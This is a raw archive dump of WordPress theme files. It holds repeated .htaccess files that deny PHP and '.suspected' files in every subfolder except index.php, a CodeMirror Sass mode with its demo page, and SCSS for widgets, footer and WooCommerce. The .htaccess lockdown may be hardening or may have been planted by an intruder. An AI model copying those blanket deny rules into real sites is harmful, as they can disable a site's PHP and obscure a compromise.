RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> media/.htaccess 0000666 00000000424 15113115160 0007417 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> modules/.htaccess 0000666 00000000424 15113115160 0010010 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> layout/.htaccess 0000666 00000000424 15113115160 0007655 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> typography/.htaccess 0000666 00000000424 15113115160 0010546 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> blocks/.htaccess 0000666 00000000424 15113115160 0007615 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> navigation/.htaccess 0000666 00000000424 15113115160 0010477 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> variables-site/.htaccess 0000666 00000000424 15113115160 0011252 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> elements/.htaccess 0000666 00000000424 15113115160 0010154 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> sass.js 0000666 00000023513 15114111444 0006057 0 ustar 00 // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
(function(mod) {
if (typeof exports == "object" && typeof module == "object") // CommonJS
mod(require("../../lib/codemirror"));
else if (typeof define == "function" && define.amd) // AMD
define(["../../lib/codemirror"], mod);
else // Plain browser env
mod(CodeMirror);
})(function(CodeMirror) {
"use strict";
CodeMirror.defineMode("sass", function(config) {
function tokenRegexp(words) {
return new RegExp("^" + words.join("|"));
}
var keywords = ["true", "false", "null", "auto"];
var keywordsRegexp = new RegExp("^" + keywords.join("|"));
var operators = ["\\(", "\\)", "=", ">", "<", "==", ">=", "<=", "\\+", "-",
"\\!=", "/", "\\*", "%", "and", "or", "not", ";","\\{","\\}",":"];
var opRegexp = tokenRegexp(operators);
var pseudoElementsRegexp = /^::?[a-zA-Z_][\w\-]*/;
function urlTokens(stream, state) {
var ch = stream.peek();
if (ch === ")") {
stream.next();
state.tokenizer = tokenBase;
return "operator";
} else if (ch === "(") {
stream.next();
stream.eatSpace();
return "operator";
} else if (ch === "'" || ch === '"') {
state.tokenizer = buildStringTokenizer(stream.next());
return "string";
} else {
state.tokenizer = buildStringTokenizer(")", false);
return "string";
}
}
function comment(indentation, multiLine) {
return function(stream, state) {
if (stream.sol() && stream.indentation() <= indentation) {
state.tokenizer = tokenBase;
return tokenBase(stream, state);
}
if (multiLine && stream.skipTo("*/")) {
stream.next();
stream.next();
state.tokenizer = tokenBase;
} else {
stream.skipToEnd();
}
return "comment";
};
}
function buildStringTokenizer(quote, greedy) {
if (greedy == null) { greedy = true; }
function stringTokenizer(stream, state) {
var nextChar = stream.next();
var peekChar = stream.peek();
var previousChar = stream.string.charAt(stream.pos-2);
var endingString = ((nextChar !== "\\" && peekChar === quote) || (nextChar === quote && previousChar !== "\\"));
if (endingString) {
if (nextChar !== quote && greedy) { stream.next(); }
state.tokenizer = tokenBase;
return "string";
} else if (nextChar === "#" && peekChar === "{") {
state.tokenizer = buildInterpolationTokenizer(stringTokenizer);
stream.next();
return "operator";
} else {
return "string";
}
}
return stringTokenizer;
}
function buildInterpolationTokenizer(currentTokenizer) {
return function(stream, state) {
if (stream.peek() === "}") {
stream.next();
state.tokenizer = currentTokenizer;
return "operator";
} else {
return tokenBase(stream, state);
}
};
}
function indent(state) {
if (state.indentCount == 0) {
state.indentCount++;
var lastScopeOffset = state.scopes[0].offset;
var currentOffset = lastScopeOffset + config.indentUnit;
state.scopes.unshift({ offset:currentOffset });
}
}
function dedent(state) {
if (state.scopes.length == 1) return;
state.scopes.shift();
}
function tokenBase(stream, state) {
var ch = stream.peek();
// Comment
if (stream.match("/*")) {
state.tokenizer = comment(stream.indentation(), true);
return state.tokenizer(stream, state);
}
if (stream.match("//")) {
state.tokenizer = comment(stream.indentation(), false);
return state.tokenizer(stream, state);
}
// Interpolation
if (stream.match("#{")) {
state.tokenizer = buildInterpolationTokenizer(tokenBase);
return "operator";
}
// Strings
if (ch === '"' || ch === "'") {
stream.next();
state.tokenizer = buildStringTokenizer(ch);
return "string";
}
if(!state.cursorHalf){// state.cursorHalf === 0
// first half i.e. before : for key-value pairs
// including selectors
if (ch === ".") {
stream.next();
if (stream.match(/^[\w-]+/)) {
indent(state);
return "atom";
} else if (stream.peek() === "#") {
indent(state);
return "atom";
}
}
if (ch === "#") {
stream.next();
// ID selectors
if (stream.match(/^[\w-]+/)) {
indent(state);
return "atom";
}
if (stream.peek() === "#") {
indent(state);
return "atom";
}
}
// Variables
if (ch === "$") {
stream.next();
stream.eatWhile(/[\w-]/);
return "variable-2";
}
// Numbers
if (stream.match(/^-?[0-9\.]+/))
return "number";
// Units
if (stream.match(/^(px|em|in)\b/))
return "unit";
if (stream.match(keywordsRegexp))
return "keyword";
if (stream.match(/^url/) && stream.peek() === "(") {
state.tokenizer = urlTokens;
return "atom";
}
if (ch === "=") {
// Match shortcut mixin definition
if (stream.match(/^=[\w-]+/)) {
indent(state);
return "meta";
}
}
if (ch === "+") {
// Match shortcut mixin definition
if (stream.match(/^\+[\w-]+/)){
return "variable-3";
}
}
if(ch === "@"){
if(stream.match(/@extend/)){
if(!stream.match(/\s*[\w]/))
dedent(state);
}
}
// Indent Directives
if (stream.match(/^@(else if|if|media|else|for|each|while|mixin|function)/)) {
indent(state);
return "meta";
}
// Other Directives
if (ch === "@") {
stream.next();
stream.eatWhile(/[\w-]/);
return "meta";
}
if (stream.eatWhile(/[\w-]/)){
if(stream.match(/ *: *[\w-\+\$#!\("']/,false)){
return "property";
}
else if(stream.match(/ *:/,false)){
indent(state);
state.cursorHalf = 1;
return "atom";
}
else if(stream.match(/ *,/,false)){
return "atom";
}
else{
indent(state);
return "atom";
}
}
if(ch === ":"){
if (stream.match(pseudoElementsRegexp)){ // could be a pseudo-element
return "keyword";
}
stream.next();
state.cursorHalf=1;
return "operator";
}
} // cursorHalf===0 ends here
else{
if (ch === "#") {
stream.next();
// Hex numbers
if (stream.match(/[0-9a-fA-F]{6}|[0-9a-fA-F]{3}/)){
if(!stream.peek()){
state.cursorHalf = 0;
}
return "number";
}
}
// Numbers
if (stream.match(/^-?[0-9\.]+/)){
if(!stream.peek()){
state.cursorHalf = 0;
}
return "number";
}
// Units
if (stream.match(/^(px|em|in)\b/)){
if(!stream.peek()){
state.cursorHalf = 0;
}
return "unit";
}
if (stream.match(keywordsRegexp)){
if(!stream.peek()){
state.cursorHalf = 0;
}
return "keyword";
}
if (stream.match(/^url/) && stream.peek() === "(") {
state.tokenizer = urlTokens;
if(!stream.peek()){
state.cursorHalf = 0;
}
return "atom";
}
// Variables
if (ch === "$") {
stream.next();
stream.eatWhile(/[\w-]/);
if(!stream.peek()){
state.cursorHalf = 0;
}
return "variable-3";
}
// bang character for !important, !default, etc.
if (ch === "!") {
stream.next();
if(!stream.peek()){
state.cursorHalf = 0;
}
return stream.match(/^[\w]+/) ? "keyword": "operator";
}
if (stream.match(opRegexp)){
if(!stream.peek()){
state.cursorHalf = 0;
}
return "operator";
}
// attributes
if (stream.eatWhile(/[\w-]/)) {
if(!stream.peek()){
state.cursorHalf = 0;
}
return "attribute";
}
//stream.eatSpace();
if(!stream.peek()){
state.cursorHalf = 0;
return null;
}
} // else ends here
if (stream.match(opRegexp))
return "operator";
// If we haven't returned by now, we move 1 character
// and return an error
stream.next();
return null;
}
function tokenLexer(stream, state) {
if (stream.sol()) state.indentCount = 0;
var style = state.tokenizer(stream, state);
var current = stream.current();
if (current === "@return" || current === "}"){
dedent(state);
}
if (style !== null) {
var startOfToken = stream.pos - current.length;
var withCurrentIndent = startOfToken + (config.indentUnit * state.indentCount);
var newScopes = [];
for (var i = 0; i < state.scopes.length; i++) {
var scope = state.scopes[i];
if (scope.offset <= withCurrentIndent)
newScopes.push(scope);
}
state.scopes = newScopes;
}
return style;
}
return {
startState: function() {
return {
tokenizer: tokenBase,
scopes: [{offset: 0, type: "sass"}],
indentCount: 0,
cursorHalf: 0, // cursor half tells us if cursor lies after (1)
// or before (0) colon (well... more or less)
definedVars: [],
definedMixins: []
};
},
token: function(stream, state) {
var style = tokenLexer(stream, state);
state.lastToken = { style: style, content: stream.current() };
return style;
},
indent: function(state) {
return state.scopes[0].offset;
}
};
});
CodeMirror.defineMIME("text/x-sass", "sass");
});
index.html 0000666 00000003043 15114111444 0006541 0 ustar 00 <!doctype html>
<title>CodeMirror: Sass mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">
<link rel="stylesheet" href="../../lib/codemirror.css">
<script src="../../lib/codemirror.js"></script>
<script src="../../addon/edit/matchbrackets.js"></script>
<script src="sass.js"></script>
<style>.CodeMirror {border: 1px solid #ddd; font-size:12px; height: 400px}</style>
<div id=nav>
<a href="http://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png"></a>
<ul>
<li><a href="../../index.html">Home</a>
<li><a href="../../doc/manual.html">Manual</a>
<li><a href="https://github.com/codemirror/codemirror">Code</a>
</ul>
<ul>
<li><a href="../index.html">Language modes</a>
<li><a class=active href="#">Sass</a>
</ul>
</div>
<article>
<h2>Sass mode</h2>
<form><textarea id="code" name="code">// Variable Definitions
$page-width: 800px
$sidebar-width: 200px
$primary-color: #eeeeee
// Global Attributes
body
font:
family: sans-serif
size: 30em
weight: bold
// Scoped Styles
#contents
width: $page-width
#sidebar
float: right
width: $sidebar-width
#main
width: $page-width - $sidebar-width
background: $primary-color
h2
color: blue
#footer
height: 200px
</textarea></form>
<script>
var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
lineNumbers : true,
matchBrackets : true
});
</script>
<p><strong>MIME types defined:</strong> <code>text/x-sass</code>.</p>
</article>
site/widgets/_widgets.scss 0000666 00000015713 15114372147 0011700 0 ustar 00 /* Widget Common */
.widget-title {
font-size: 16px;
text-transform: uppercase;
font-weight: 500;
color: currentColor;
margin-bottom: 20px;
}
.widget-area {
.widget {
margin-bottom: 2em;
@include for_device( desktop ) {
&:last-of-type {
margin-bottom: 0;
}
}
ul {
list-style: none;
padding: 0px;
margin: 0px;
&:after {
clear: both;
content: ".";
display: block;
height: 0;
visibility: hidden;
}
li {
margin: 0px 0px 0.6em;
// cat item
&.cat-item, &.woocommerce-widget-layered-nav-list__item {
position: relative;
.count {
right: 0;
background: #eaecee;
color: #999999;
padding: 0px 0.5em;
border-radius: 0.9em;
font-size: 12px;
position: absolute;
top: 4px;
}
&:after {
@include clearfix();
}
}
}
}
//a:not(.wc-forward) {
// color: $color_meta;
// &:hover {
// color: $color_link_hover;
// }
//}
a.button {
&:hover {
text-decoration: none;
}
}
select {
max-width: 100%;
}
table {
font-size: 85%;
th, td {
padding: ms(-6);
text-align: center;
}
tfoot td{
text-align: left;
}
}
*:last-child {
margin-bottom: 0px;
}
.sidebar-search-form {
display: flex;
width: 100%;
max-width: 100%;
label {
width: 100%;
}
.search-field {
width: 100%;
display: block;
}
.search-submit {
padding: 9px 14px;
margin-left: -46px;
overflow: hidden;
box-shadow: none;
background: transparent;
color: #aaaaaa;
line-height: 0px;
&:hover {
svg #svg-search {
fill: #444444;
}
}
svg {
width: 18px;
height: 18px;
}
}
}
}
.widget_categories, .widget_nav_menu, .widget_pages, .widget_product_categories {
ul ul {
margin-top: ms(-4);
margin-left: 0;
margin-bottom: -(ms(-4));
}
.menu-item-has-children {
> a {
margin-bottom: 0px;
}
}
}
.widget_pages li,
.widget_categories li,
.widget_archive li,
.widget_meta li,
.widget_nav_menu li,
.widget_product_categories li,
.widget_recent_entries li,
.widget_rss li {
display: block;
position: relative;
&:last-child {
border: none;
}
a {
display: block;
width: 100%;
padding-bottom: 0.6em;
margin-bottom: 0.6em;
border-bottom: 1px solid $color_border;
position: relative;
}
ul {
li::before {
left: 15px;
}
a {
padding-left: 20px;
}
ul {
li::before {
left: 30px;
}
a {
padding-left: 40px;
}
}
}
}
.widget_recent_comments {
li {
padding-bottom: 0.6em;
border-bottom: 1px solid $color_border;
position: relative;
}
}
.widget_rss ul li {
margin-bottom: ms(1);
.rsswidget {
font-weight: 400;
font-size: 1.2em;
line-height: 1.28;
}
.rss-date {
display: block;
margin: ms(-3) 0px;
font-size: 85%;
}
}
}
.dark-mode {
.widget_pages li,
.widget_categories li,
.widget_archive li,
.widget_meta li,
.widget_nav_menu li,
.widget_product_categories li,
.widget_recent_entries li,
.widget_rss li {
a {
border-color: $light_color_border;
}
}
.widget_recent_comments li {
border-color: $light_color_border;
}
.widget ul li.cat-item .count,
.widget ul li.woocommerce-widget-layered-nav-list__item .count {
background: black(0.2);
}
.widget-area .widget select {
border-color: $light_color_border;
}
}
.site-content .widget-area {
.menu {
li {
margin: 0px;
a {
display: block;
padding: 0.6em 0px 0.6em;
//border-bottom: 1px solid $color_border;
}
ul {
margin: 0px;
li {
a {
padding-left: 15px;
}
li {
a {
padding-left: 30px;
}
}
}
}
&.current-menu-item {
> a {
position: relative;
border: 1px solid $color_border;
border-left: none;
border-right: none;
font-size: 110%;
&:before {
border-bottom: 6px solid transparent;
border-left: 6px solid $color_border;
border-top: 6px solid transparent;
content: "";
display: inline-block;
position: absolute;
right: 5px;
top: 13px;
}
&:after {
border-bottom: 6px solid transparent;
border-left: 6px solid #fff;
border-top: 6px solid transparent;
content: "";
display: inline-block;
position: absolute;
right: 6px;
top: 13px;
}
}
}
}
}
}
/* Tagcloud widget */
.tagcloud {
a {
border: 1px solid currentColor;
border-radius: 2px;
display: inline-block;
font-size: 0.875em !important;
margin-bottom: 5px;
padding: 1px 10px 1px;
}
}
site/footer/_footer-common.scss 0000666 00000006026 15114372150 0012635 0 ustar 00 /* Site Footer */
.site-footer {
position: relative;
z-index: 10;
.item--inner {
width: 100%;
max-width: 100%;
}
}
// Footer Top
.footer-top {
.footer--row-inner {
padding-top: 2em;
padding-bottom: 2em;
}
.light-mode {
background: #f0f0f0;
}
.dark-mode {
background: #292929;
}
}
// Footer Main
.footer-main {
.footer--row-inner {
padding-top: 2.5em;
padding-bottom: 2.5em;
}
.light-mode {
background: #f9f9f9;
}
.dark-mode {
background: #303030;
}
}
// Footer Bottom
.footer-bottom {
.footer--row-inner {
padding-top: 1.5em;
padding-bottom: 1.5em;
}
.builder-item {
@include for_device( mobile ) {
margin-bottom: 1em;
&:last-child {
margin-bottom: 0;
}
}
}
.light-mode {
background: #ededed;
}
.dark-mode {
background: #1a1a1a;
}
}
// General footer skin mode colors.
.footer--row-inner {
&.light-mode {
color: $dark_color;
//a:not(.button) {
// color: $dark_color_link;
// &:hover {
// color: $dark_color_link_hover;
// }
//}
.product_list_widget li {
border-color: $dark_color_border;
}
}
&.dark-mode {
color: $light_color;
a:not(.button) {
color: $light_color_link;
&:hover {
color: $light_color_link_hover;
}
}
.product_list_widget li {
border-color: $light_color_border;
}
table tbody td,
table th {
background: $dark_color_border;
}
}
}
.footer--row {
&.layout-fullwidth {
.customify-container {
max-width: initial;
}
}
.builder-item--group {
justify-content: flex-start;
.item--inner {
width: auto;
@include for_device( tablet ) {
display: block;
margin-bottom: 2em;
&:last-child {
margin-bottom: 0px;
}
}
}
}
}
.footer-main, .footer-top, .footer-bottom {
.builder-item {
&:last-child {
margin-bottom: 0;
}
.widget-area {
.widget {
&:last-child {
margin-bottom: 0;
}
}
}
}
@include for_device( mobile ) {
.builder-item--footer_copyright,
.builder-item--footer-social-icons {
text-align: center;
}
}
}
@include for_device( sm ) {
.site-footer {
.builder-item {
margin-bottom: 2em;
}
}
}
.site-footer {
p {
&:last-child {
margin-bottom: 0px;
}
}
ul, li {
list-style: none;
margin: 0px;
}
ul ul {
margin-left: 2.617924em;
}
}
.footer-copyright {
font-size: 0.875em;
}
site/compatibility/wc/_woocommerce-animation.scss 0000666 00000000173 15114372150 0016326 0 ustar 00 /**
* _animation.scss
* Custom WooCommerce Animations.
*/
@keyframes spin {
100% {
transform: rotate( 360deg );
}
}
site/compatibility/wc/_woocommerce-main.scss 0000666 00000023711 15114372150 0015276 0 ustar 00 /**
* woocommerce.scss
* Governs the general look and feel of WooCommerce sections of stores using themes that do not
* integrate with WooCommerce specifically.
*/
/**
* Global styles
*/
p.demo_store,
.woocommerce-store-notice {
position: absolute;
top: 0;
left: 0;
right: 0;
margin: 0;
width: 100%;
font-size: 1em;
padding: 1em 0;
text-align: center;
background-color: $primary;
color: $primarytext;
z-index: 99998;
box-shadow: 0 1px 1em rgba(0, 0, 0, 0.2);
display: none;
a {
color: $primarytext;
text-decoration: underline;
}
}
.screen-reader-text {
clip: rect(1px, 1px, 1px, 1px);
height: 1px;
overflow: hidden;
position: absolute !important;
width: 1px;
word-wrap: normal !important;
}
.admin-bar p.demo_store {
top: 32px;
}
/**
* Utility classes
*/
.clear {
clear: both;
}
/**
* Main WooCommerce styles
*/
/**
* Quantity input
*/
.input-qty-pm {
border-radius: 1px;
display: inline-flex;
align-items: center;
flex-wrap: wrap;
border: 1px solid #E5E5E5;
background: #f2f2f2;
color: inherit;
input, input[type="text"] {
box-shadow: none !important;
border-radius: 0px;
border-top: none;
border-bottom: none;
}
.input-pm-act {
text-align: center;
line-height: 2.2em;
min-height: 2.6em;
padding: 0px 0.2em;
min-width: 1.5em;
cursor: pointer;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
box-shadow: none;
font-weight: 400;
background: #f9f9f9;
&:hover {
background: #f0f0f0;
color: inherit;
}
}
}
.woocommerce {
.blockUI.blockOverlay {
position: relative;
z-index: 35 !important;
@include loader();
}
.loader {
@include loader();
}
small.note {
display: block;
color: $subtext;
font-size: 0.857em;
margin-top: 10px;
}
.woocommerce-breadcrumb {
@include clearfix();
margin: 0 0 1.5em;
padding: 0;
color: $subtext;
a {
color: $subtext;
}
}
.quantity .qty {
width: 3em;
text-align: center;
}
nav.woocommerce-pagination {
text-align: center;
ul {
display: inline-block;
white-space: nowrap;
padding: 0;
clear: both;
border: 1px solid darken( $secondary, 10% );
border-right: 0;
margin: 1px;
li {
border-right: 1px solid darken( $secondary, 10% );
padding: 0;
margin: 0;
float: left;
display: inline;
overflow: hidden;
a,
span {
margin: 0;
text-decoration: none;
padding: 0;
line-height: 1;
font-size: 1em;
font-weight: normal;
padding: 0.5em;
min-width: 1em;
display: block;
}
span.current,
a:hover,
a:focus {
background: $secondary;
color: darken( $secondary, 40% );
}
}
}
}
p.woocommerce-shipping-contents {
margin: 0;
}
}
.woocommerce-no-js {
form.woocommerce-form-login,
form.woocommerce-form-coupon {
display: block !important;
}
.woocommerce-form-login-toggle,
.woocommerce-form-coupon-toggle,
.showcoupon {
display: none !important;
}
}
.woocommerce-message,
.woocommerce-error,
.woocommerce-info {
padding: 1em 2em 1em 3.5em;
margin: 0 auto 2em;
position: relative;
background-color: lighten($secondary, 5%);
border-top: 3px solid $primary;
color: $secondarytext;
list-style: none outside;
@include clearfix();
width: auto;
word-wrap: break-word;
&::before {
font-family: 'WooCommerce';
content: '\e028';
display: inline-block;
position: absolute;
top: 1em;
left: 1.5em;
}
.button {
float: right;
}
li {
list-style: none outside !important; // Required for default theme compatibility
padding-left: 0 !important; // Required for default theme compatibility
margin-left: 0 !important; // Required for default theme compatibility
}
}
.woocommerce-message {
border-top-color: #8fae1b;
&::before {
content: '\e015';
color: #8fae1b;
}
}
.woocommerce-info {
border-top-color: #1e85be;
&::before {
color: #1e85be;
}
}
.woocommerce-error {
border-top-color: #b81c23;
&::before {
content: '\e016';
color: #b81c23;
}
}
/**
* Tables
*/
table.shop_attributes {
border: 0;
border-top: 1px dotted rgba(0, 0, 0, 0.1);
margin-bottom: 1.618em;
width: 100%;
th {
width: 150px;
font-weight: 600;
padding: 1em;
border-top: 0;
border-bottom: 1px dotted rgba(0, 0, 0, 0.1);
margin: 0;
line-height: 1.5;
}
td {
font-style: italic;
padding: 1em;
border-top: 0;
border-bottom: 1px dotted rgba(0, 0, 0, 0.1);
margin: 0;
line-height: 1.5;
p {
margin: 0;
padding: 0px 0 10px 0px;
&:last-child {
padding-bottom: 0;
}
}
}
//tr:nth-child(even) td,
//tr:nth-child(even) th {
// background: rgba(0, 0, 0, 0.025);
//}
tbody tr:nth-child(2n) td {
background: #fafafa;
}
}
table.shop_table {
margin: 0 -1px 24px 0;
text-align: left;
width: 100%;
border-collapse: separate;
border-collapse: collapse;
thead {
tr {
th {
border-bottom: 2px solid $color_border;
color: #252525;
}
}
}
tfoot {
tr {
th {
color: #252525;
}
}
}
th {
font-weight: 600;
padding: 9px 12px;
background: transparent;
}
td {
border-top: 1px solid $color_border;
padding: 10px 10px;
vertical-align: middle;
background: transparent;
small {
font-weight: normal;
}
}
tr:nth-child(2n) {
td {
background: transparent;
}
}
tbody:first-child tr:first-child {
th,
td {
border-top: 0;
}
}
tfoot {
td,th {
border-top: 1px solid $color_border;
vertical-align: middle;
}
tr:first-of-type {
td, th {
border-width: 2px;
}
}
}
}
table.my_account_orders {
font-size: 0.85em;
th,
td {
padding: 4px 8px;
vertical-align: middle;
}
.button {
white-space: nowrap;
}
.order-actions {
text-align: right;
.button {
margin: 0.125em 0 0.125em 0.25em;
}
}
}
table.woocommerce-MyAccount-downloads {
td,
th {
vertical-align: top;
text-align: center;
&:first-child {
text-align: left;
}
&:last-child {
text-align: left;
}
.woocommerce-MyAccount-downloads-file::before {
content: '\2193';
display: inline-block;
}
}
}
td.product-name {
dl.variation, .wc-item-meta {
list-style: none outside;
dt, .wc-item-meta-label {
float: left;
clear: both;
margin-right: .25em;
display: inline-block;
list-style: none outside;
}
dd {
margin: 0;
}
p,
&:last-child {
margin-bottom: 0;
}
}
p.backorder_notification {
font-size: 0.83em;
}
}
td.product-quantity {
min-width: 80px;
}
/**
* Right to left styles
*/
.rtl.woocommerce .price_label,
.rtl.woocommerce .price_label span {
/* rtl:ignore */
direction: ltr;
unicode-bidi: embed;
}
/**
* Account page
*/
.woocommerce-account {
.woocommerce {
@include clearfix();
}
.addresses .title {
@include clearfix();
h3 {
float: left;
}
.edit {
float: right;
}
}
ol.commentlist.notes li.note {
p.meta {
font-weight: 600;
margin-bottom: 0;
}
.description p:last-child {
margin-bottom: 0;
}
}
ul.digital-downloads {
margin-left: 0;
padding-left: 0;
li {
list-style: none;
margin-left: 0;
padding-left: 0;
&::before {
@include iconbefore( '\e00a' );
}
.count {
float: right;
}
}
}
}
.woocommerce-terms-and-conditions {
border: 1px solid rgba(0,0,0,.2);
box-shadow: inset 0 1px 2px rgba(0,0,0,.1);
background: rgba(0,0,0,.05);
}
.woocommerce-invalid {
#terms {
outline: 2px solid red;
outline-offset: 2px;
}
}
/**
* Password strength meter
*/
.woocommerce-password-strength {
text-align: center;
font-weight: 600;
padding: 3px 0.5em;
font-size: 1em;
&.strong {
background-color: #c1e1b9;
border-color: #83c373;
}
&.short {
background-color: #f1adad;
border-color: #e35b5b;
}
&.bad {
background-color: #fbc5a9;
border-color: #f78b53;
}
&.good {
background-color: #ffe399;
border-color: #ffc733;
}
}
.woocommerce-password-hint {
margin: 0.5em 0 0;
display: block;
}
site/compatibility/wc/_wc-widgets.scss 0000666 00000014472 15114372150 0014116 0 ustar 00 /*
* General WC widgets
*/
.product_list_widget {
list-style: none outside;
padding: 0;
margin: 0;
.wc-product-name, .quantity {
display: block;
}
.reviewer {
font-size: 0.72em;
position: relative;
top: -4px;
text-transform: uppercase;
}
li {
margin: 0;
list-style: none;
position: relative;
padding-left: 0px;
display: block;
padding-bottom: 12px;
margin-bottom: 12px !important;
border-bottom: 1px solid $color_border;
&:last-child {
border-bottom: none;
margin-bottom: 0 !important;
padding-bottom: 0 !important;
}
&.has_thumbnail {
.widget-product-item {
display: flex;
align-items: flex-start;
}
.media-info {
flex-basis: 60px;
}
.tex-info {
flex-basis: calc( 100% - 60px );
padding-left: 15px;
}
}
a {
display: block;
line-height: 1.2;
text-decoration: none;
&:hover {
text-decoration: none;
}
}
.product-title {
display: block;
}
.amount {
font-size: 0.9em;
margin-top: 4px;
}
img {
width: 100%;
height: auto;
box-shadow: none;
&:hover {
opacity: 0.8;
}
}
dl {
margin: 0;
padding-left: 1em;
border-left: 2px solid rgba(0, 0, 0, 0.1);
@include clearfix();
dt,
dd {
display: inline-block;
float: left;
margin-bottom: 1em;
}
dt {
font-weight: 700;
padding: 0 0 0.25em;
margin: 0 4px 0 0;
clear: left;
}
dd {
padding: 0 0 0.25em;
p:last-child {
margin-bottom: 0;
}
}
}
.star-rating {
float: none;
margin: 5px 0px;
}
li {
margin-bottom: 15px;
}
}
}
/*
* Widgets Search
*/
.widget_product_search {
.search-field {
margin-bottom: 5px;
}
}
.woocommerce-product-search {
position: relative;
.search-field {
width: 100%;
display: block;
}
button[type="submit"] {
position: absolute;
top: 0px;
right: 0px;
bottom: 0px;
padding: 9px 14px;
margin-left: -46px;
overflow: hidden;
box-shadow: none;
background: transparent;
color: #aaaaaa;
line-height: 0px;
&:hover {
svg #svg-search {
fill: #444444;
}
}
svg {
width: 18px;
height: 18px;
}
}
}
/**
* Layered nav widget
*/
.woocommerce-widget-layered-nav-list {
margin: 0;
padding: 0;
border: 0;
list-style: none outside;
.woocommerce-widget-layered-nav-list__item {
@include clearfix();
padding: 0 0 1px;
list-style: none;
a,
span {
padding: 1px 0;
}
a {
&:before {
@include iconbefore( '\e039' );
color: #c6c7ce;
position: relative;
top: 1px;
}
}
}
.woocommerce-widget-layered-nav-list__item--chosen a::before {
@include iconbefore( '\e015' );
color: #c6c7ce;
}
}
.woocommerce-widget-layered-nav-dropdown__submit {
margin-top: 1em;
}
.widget_layered_nav_filters ul {
margin: 0;
padding: 0;
border: 0;
list-style: none outside;
overflow: hidden;
zoom: 1;
li {
float: left;
padding: 0 1em 1px 1px;
list-style: none;
a {
text-decoration: none;
&::before {
@include iconbefore( '\e013' );
color: $red;
vertical-align: inherit;
margin-right: .5em;
}
}
}
}
/**
* Price filter widget
*/
.widget_price_filter {
.price_slider {
margin-bottom: 1em;
}
.price_slider_amount {
text-align: right;
line-height: 2.4;
font-size: 0.8751em;
.from, .to {
font-weight: bolder;
}
.button {
font-size: 0.875em;
float: left;
background: $color_meta;
min-height: auto;
}
}
.ui-slider {
position: relative;
text-align: left;
margin-left: 0.5em;
margin-right: 0.5em;
}
.ui-slider .ui-slider-handle {
position: absolute;
z-index: 2;
width: 1em;
height: 1em;
background-color: #FFF;
border: 2px solid $color_meta;
border-radius: 1em;
cursor: ew-resize;
outline: none;
top: -0.3em;
/* rtl:ignore */
margin-left: -0.5em;
}
.ui-slider .ui-slider-range {
position: absolute;
z-index: 1;
font-size: 0.7em;
display: block;
border: 0;
border-radius: 1em;
background-color: $color_meta;
}
.price_slider_wrapper .ui-widget-content {
border-radius: 1em;
background-color: $color_border;
border: 0;
}
.ui-slider-horizontal {
height: 0.5em;
}
.ui-slider-horizontal .ui-slider-range {
top: 0;
height: 100%;
}
.ui-slider-horizontal .ui-slider-range-min {
left: -1px;
}
.ui-slider-horizontal .ui-slider-range-max {
right: -1px;
}
}
/**
* Rating Filter Widget
*/
.widget_rating_filter ul {
margin: 0;
padding: 0;
border: 0;
list-style: none outside;
li {
@include clearfix();
padding: 0 0 1px;
list-style: none;
a {
padding: 1px 0;
text-decoration: none;
}
.star-rating {
float: none;
display: inline-block;
}
}
li.chosen a::before {
@include iconbefore( '\e013' );
color: $red;
}
